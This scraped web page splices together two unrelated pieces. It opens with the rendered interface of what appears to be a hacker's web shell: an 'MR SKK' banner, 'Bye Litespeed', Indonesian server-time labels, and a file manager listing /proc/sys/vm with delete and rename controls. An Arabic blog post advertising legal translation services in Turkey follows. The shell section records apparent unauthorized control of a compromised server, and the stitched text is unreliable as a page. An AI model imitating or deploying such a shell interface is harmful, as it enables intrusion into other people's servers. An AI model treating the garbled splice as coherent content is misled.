Hell Yeah Pointer 4
     __    Bye Litespeed   _____ 
     ██████   ██████ ███████████       █████████  █████   ████ █████   ████           
░░██████ ██████ ░░███░░░░░███     ███░░░░░███░░███   ███░ ░░███   ███░            
 ░███░█████░███  ░███    ░███    ░███    ░░░  ░███  ███    ░███  ███              
 ░███░░███ ░███  ░██████████     ░░█████████  ░███████     ░███████               
 ░███ ░░░  ░███  ░███░░░░░███     ░░░░░░░░███ ░███░░███    ░███░░███              
 ░███      ░███  ░███    ░███     ███    ░███ ░███ ░░███   ░███ ░░███             
 █████     █████ █████   █████   ░░█████████  █████ ░░████ █████ ░░████                        
Zona waktu server: Asia/Riyadh
Waktu server saat ini: 2026-03-06 00:55:50
curdir: / / proc / sys / vm / [ GO Home ]


Item Name
Size
Date
Permissions
View
Delete
Rename
. 0 2026-03-05 15:21:55 0555
.. 0 2026-02-17 19:35:29 0555
admin_reserve_kbytes 0 2026-03-05 15:21:55 0644
block_dump 0 2026-03-05 15:21:55 0644
compact_memory 0 2026-03-05 15:21:55 0200
compact_unevictable_allowed 0 2026-03-05 15:21:55 0644
compaction_proactiveness 0 2026-03-05 15:21:55 0644
dirty_background_bytes 0 2026-03-05 15:21:55 0644
dirty_background_ratio 0 2026-03-05 15:21:55 0644
dirty_bytes 0 2026-03-05 15:21:55 0644
dirty_expire_centisecs 0 2026-03-05 15:21:55 0644
dirty_ratio 0 2026-03-05 15:21:55 0644
dirty_writeback_centisecs 0 2026-03-05 15:21:55 0644
dirtytime_expire_seconds 0 2026-03-05 15:21:55 0644
drop_caches 0 2026-03-05 15:21:55 0644
extfrag_threshold 0 2026-03-05 15:21:55 0644
force_cgroup_v2_swappiness 0 2026-03-05 15:21:55 0644
hugetlb_shm_group 0 2026-03-05 15:21:55 0644
laptop_mode 0 2026-03-05 15:21:55 0644
legacy_va_layout 0 2026-03-05 15:21:55 0644
legacy_willneed_readahead 0 2026-03-05 15:21:55 0644
lowmem_reserve_ratio 0 2026-03-05 15:21:55 0644
max_map_count 0 2026-03-05 15:21:55 0644
memcg_reclaim_boost_priority 0 2026-03-05 15:21:55 0600
memory_failure_early_kill 0 2026-03-05 15:21:55 0644
memory_failure_recovery 0 2026-03-05 15:21:55 0644
min_free_kbytes 0 2026-03-05 15:21:55 0644
min_slab_ratio 0 2026-03-05 15:21:55 0644
min_unmapped_ratio 0 2026-03-05 15:21:55 0644
mmap_min_addr 0 2026-03-05 15:21:55 0644
mmap_rnd_bits 0 2026-03-05 15:21:55 0600
mmap_rnd_compat_bits 0 2026-03-05 15:21:55 0600
nr_hugepages 0 2026-03-05 15:21:55 0644
nr_hugepages_mempolicy 0 2026-03-05 15:21:55 0644
nr_overcommit_hugepages 0 2026-03-05 15:21:55 0644
numa_stat 0 2026-03-05 15:21:55 0644
numa_zonelist_order 0 2026-03-05 15:21:55 0644
oom_dump_tasks 0 2026-03-05 15:21:55 0644
oom_kill_allocating_task 0 2026-03-05 15:21:55 0644
overcommit_kbytes 0 2026-03-05 15:21:55 0644
overcommit_memory 0 2026-03-05 15:21:55 0644
overcommit_ratio 0 2026-03-05 15:21:55 0644
page-cluster 0 2026-03-05 15:21:55 0644
page_lock_unfairness 0 2026-03-05 15:21:55 0644
panic_on_oom 0 2026-03-05 15:21:55 0644
percpu_pagelist_fraction 0 2026-03-05 15:21:55 0644
stat_interval 0 2026-03-05 15:21:55 0644
stat_refresh 0 2026-03-05 15:21:55 0600
swappiness 0 2026-03-05 15:21:55 0644
user_reserve_kbytes 0 2026-03-05 15:21:55 0644
vfs_cache_pressure 0 2026-03-05 15:21:55 0644
watermark_boost_factor 0 2026-03-05 15:21:55 0644
watermark_scale_factor 0 2026-03-05 15:21:55 0644
zone_reclaim_mode 0 2026-03-05 15:21:55 0644
مجموعة كريم - الترجمة القانونية الاحترافية في تركيا

الترجمة القانونية الاحترافية في تركيا

Blog Details

الترجمة القانونية الاحترافية في تركيا

 

لا شك أن أهم احتياجات الوافد الأجنبي إلى تركيا هي الترجمة من اللغة العربية أو الإنجليزية أو لغته الأم إلى اللغة التركية، ولكن الكثير من الناس من يقع بخطأ الوثوق بأشخاص لا ينبغي الوثوق بهم، لأن الدوائر الحكومية الرسمية تشترط شروطا لتعتمد الترجمة ولتكون قانونية فيها.

لذا سنتعرف في هذه المقالة على الترجمة القانونية في تركيا.

 

ما هي الترجمة القانونية؟

إن للترجمة القانونية العديد من المصطلحات والتعاريف التي ممكن أن نعرفها بها، ومن أشهر هذه التعريفات أنها عملية تشمل نقل نصوص معينة من لغة إلى لغة أخرى، مع وجوب التقيد التام بنظام المصطلحات القانونية، وكيفيتها، وأصل الصياغة القانونية التي يجب أن تتوافق مع القوانين والتشريعات الوطنية للغة الدولة التي يتم الترجمة إليها.

 

ما هي خصائص الترجمة القانونية؟

  • مهارة عالية في اللغة

إن المترجم القانوني يجب أن يمتلك مهارات عالية في اللغتين، وأن يستطيع أن يقدّر البدائل بين اللغتين لتحيق التكافؤ الوظيفي أثناء الترجمة عبر التوافق بين المعاني القانونية واللغوية والنص الذي يتم ترجمته.

  • إتقان اللغة بكامل مصطلحاتها

على المترجم القانوني أن يكون متقنا للغتين ومصطلحاتهم بشكل كامل، وبالأخص المصطلحات القانونية التي يتم طلب المترجم لها، لذا على المترجم القانوني أن يكون على دراية تامة بالمصطلحات وما يقابل كل مصطلح في اللغتين.

  • الالتزام بحرفية النص

ينص على المترجم القانوني أن يكون ملتزما بحرفية النص، ومعناه الأصلي، بدون أن يجتهد في التفسيرات وتأويل المعاني المتعلقة بالنص.

  • الأمانة

إن أهم خصائص الترجمة القانونية هي الأمانة العلمية والمهنية، وعدم التلاعب لكي يحقق استيفاء المعنى، ومقابلته في اللغة الثانية بشكل كامل دون زيادة أو نقصان.

 

ما الفرق بين الترجمة العادية والترجمة القانونية؟

بكل بساطة، إن الترجمة العادية هي التي تكون ترجمة الحديث من لغة إلى لغة معينة، أما الترجمة القانونية فهي الترجمة الأكثر تعقيدا، لأنه يتم استعمال الترجمة القانونية في الدوائر الحكومية الرسمية والمشافي والمدارس، ولذلك يحتاج المترجم القانوني إلى أن يكون مترجما محلفا في تركيا ومعترف به، والترجمان المحلف له شروط وشهادة ورخصة لمزاولة العمل القانوني للترجمة، ومن الشروط التي يتم وضعها للحصول على رخصة الترجمة المحلفة في تركيا، أن يكون من الأشخاص الحاملين للجنسية التركية، وأن يكون غير محكوم.

 

ما هي أهمية الترجمة القانونية في تركيا؟

إن مع توسع نطاق الاستثمارات العربية والأجنبية في ولايات تركيا، بالتزامن مع نهضة السوق العقاري الهائلة التي تشهدها تركيا في الفترة الأخيرة، والإقبال غير المسبوق من الطلاب الأجانب والعرب على الجامعات التركية، والنشاط السياحي الكبير الذي يترافع مع قدوم أعداد هائلة وكبيرة من السياح العرب والأجانب إلى تركيا، فنجد أننا بحاجة ماسة إلى وجود هيئات ذات صبغة رسمية تقدم خدمات الترجمة المحلفة والاحترافية للعقود والمواثيق والمستندات والأوراق اللازمة لكافة الأطياف من المستثمرين والطلاب والسياح في تركيا.

وهنا تكمن أهمية المترجم المحلف في تركيا الذي لا يمكن للأجانب الاستغناء عن خدماته بأي حال من الأحوال، فترجمة الأوراق الرسمية، وتصديقها في دوائر النوتر (كاتب العدل) يمنح تلك الأوراق القيمة القانونية التي تمكن أصحابها من الاستفادة من هذه الأوراق.

 

خدمات الترجمة القانونية في تركيا

مجموعة كريم للترجمة القانونية في خدمتكم في كل ما يتعلق في الترجمة القانونية المتعلقة، في إدارة العقود، والتعاقدات العقاري والتجارية وهي من المهارات التي تقدمها مجموعة كريم بجميع اللغات ترجمة دقيقة.

 

ويتكون الفريق مجموعة من المترجمين المؤهلين وأصحاب الكفاءة والخبرة الواسعة والمعترف عليهم من قبل عدد كبير من المؤسسات القانونية، وشركات المحاماة، ومكاتب الاستشارات القانونية، حيث نقوم بترجمة المذكرات والأحكام القضائية وجميع المستندات من الإنجليزية إلى التركي في تركيا ترجمة جوازات السفر ومستندات الشركات من العربية إلى الإنجليزية في تركيا ترجمة العقود وشهادات الميلاد من العربية إلى التركي في تركيا نضع كافة خدمات الترجمة القانونية في جميع المدن التركية بين يديك.